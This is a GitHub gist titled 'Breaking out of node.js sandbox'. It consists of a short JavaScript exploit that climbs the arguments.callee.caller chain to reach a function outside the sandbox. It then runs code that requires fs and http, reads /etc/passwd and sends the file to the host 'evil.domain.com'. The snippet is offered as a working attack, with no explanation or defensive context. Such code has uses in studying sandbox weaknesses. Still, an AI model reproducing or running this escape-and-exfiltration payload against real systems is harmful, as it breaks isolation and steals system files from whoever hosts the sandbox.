Skip to content

Instantly share code, notes, and snippets.

@bjoerge
Created June 7, 2012 15:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bjoerge/2889278 to your computer and use it in GitHub Desktop.
Save bjoerge/2889278 to your computer and use it in GitHub Desktop.
Breaking out of node.js sandbox
var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller;
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment